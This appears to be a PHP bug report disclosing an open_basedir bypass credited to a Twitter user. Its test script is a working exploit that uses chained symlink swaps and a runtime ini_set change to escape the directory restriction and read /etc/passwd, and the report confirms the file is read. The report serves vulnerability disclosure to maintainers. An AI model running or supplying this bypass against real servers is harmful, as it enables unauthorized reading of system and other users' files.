Description:
------------
Blaklis_ on twitter published a open_basedir bypass :

https://twitter.com/Blaklis_/status/1113866828739166208



Test script:
---------------
<?php

/*

I could recreat with:

mkdir -p /var/www/html
chmod -R YOURUSER:YOURUSER /var/www 
cd /var/www/html/
php  -d open_basedir=/var/www FILENAME.php

*/

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');


Expected result:
----------------
file_get_contents(): open_basedir restriction in effect.  ....

Actual result:
--------------
Reads /etc/passwd